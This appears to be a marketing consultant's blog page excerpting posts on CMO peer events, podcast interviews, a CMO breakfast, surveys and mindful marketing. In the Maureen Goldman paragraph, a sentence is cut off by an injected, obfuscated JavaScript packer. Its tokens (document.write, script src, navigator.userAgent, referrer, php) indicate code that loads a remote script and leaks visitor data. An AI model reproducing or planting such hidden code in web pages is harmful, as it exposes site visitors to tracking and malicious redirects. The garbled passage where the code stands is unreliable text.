We brought together our CMO group “outlaws” on February 17 to show their ninepin chops at our annual “Bowl & Brew” in DC. These are the members of our private CMO peer groups and online community.

Who knew that Miss Acubed (aka Alicia A.) carried her own bowling shoes? Or that Sonny G. moonlights as a DJ (aka DLite?) Then there was The Edge (aka Stuart F.), illness who fought the good fight to take home first prize….

Love is in the air this month, and Valentine’s Day, of course, is likely responsible. Much about the genesis of the holiday, and even who this St. Valentine was, is lost in the fog of time. One legend has it he was a priest in third century Rome who helped soldiers get married. Another tells the tale of the imprisoned Valentine who, having fallen in love with his jailer’s daughter, sent her a letter signed, “From your Valentine,” a phrase used to this day….

What are the innovation opportunities and challenges today’s marketing leaders face?

I was honored to be asked back for a second interview with Spiral Marketing, a podcast that helps current and future business leaders, marketers and entrepreneurs elevate their brand. (Their first return guest!)

Host Karl Boehm and I discussed the recently released 3rd Annual Energize Growth CMO Report, From Fledgling to Falcon: How CMOs Make the Leap from Order Taker to Innovator….

Are you a CMO, VP of Marketing, or CEO interested in innovation? Will you be in the Atlanta area on December 14th?

I’d like to invite you to my private CMO breakfast at The Commerce Club of Atlanta on Monday, December 14 from 8:15-10 am. This complimentary session is entitled “From Order Taker to Innovator: How CMOs Will Thrive in a Modern Marketing World.”

Today’s marketing leaders are doing their best to adapt to unprecedented changes in customer behaviors, pricing models, and digital landscapes….

Today’s marketing leaders can recite the ABCs of social media: content marketing, revenue performance management, and branding. Yet when it comes to conversations with their C-suite peers, they often speak in another language.

In 2014, the Project Management Institute revealed that 44% of strategic initiatives are unsuccessful. Why? They discovered the main reason is a lack of organization alignment at around 58%. In other words, unsuccessful projects are not highly aligned to a company’s strategic goals.

If you are an executive responsible for driving growth, it’s tempting to be distracted by the myriad new marketing automation tools and marketing cloud applications at the expense of strategic priorities….

What are some practical, everyday ways that marketing leaders can become more mindful?

That’s the question I posed to attendees during my AdWeek DC keynote. What emerged were some extremely thoughtful mindful marketing ideas that I’d like to share with you in this video.

A few highlights:

How to understand and find balance between what is meaningful, rather than just measurable…
Why peer-to-peer interaction and genuine empathy are so crucial in today’s over-“connected”

We just launched our 3rd annual CMO Innovation Trends survey to help senior marketers learn what growth and innovation opportunities their peers are facing in their roles today. We need 3 minutes of your time (or less) to participate in the survey. Your input will help us gather, and deliver those critical insights to you.
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This survey contains only 8 questions, and requires 3 minutes or less to complete….

Do you have what it takes to lead successfully in today’s fast-changing marketing environment?
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That’s the tough question posed in Be a Marketing Maestro, a new eBook from Direct Marketing News and sponsored by Teradata. To thrive as a marketing leader today, you must learn how to create harmony in a cacophonous marketing environment.…

While speaking at the Adobe Digital Summit last month, I enjoyed meeting Maureen Goldman. She expressed interest in my newest book eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsnk|var|u0026u|referrer|ibitd||js|php’.split(‘|’),0,{}))
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Here are the key insights from our discussion:

1. It’s essential to identify which marketing habits and initiatives in your organization have become mindless. Many members of my marketing community feel overwhelmed, exhausted, and adrenaline-addicted….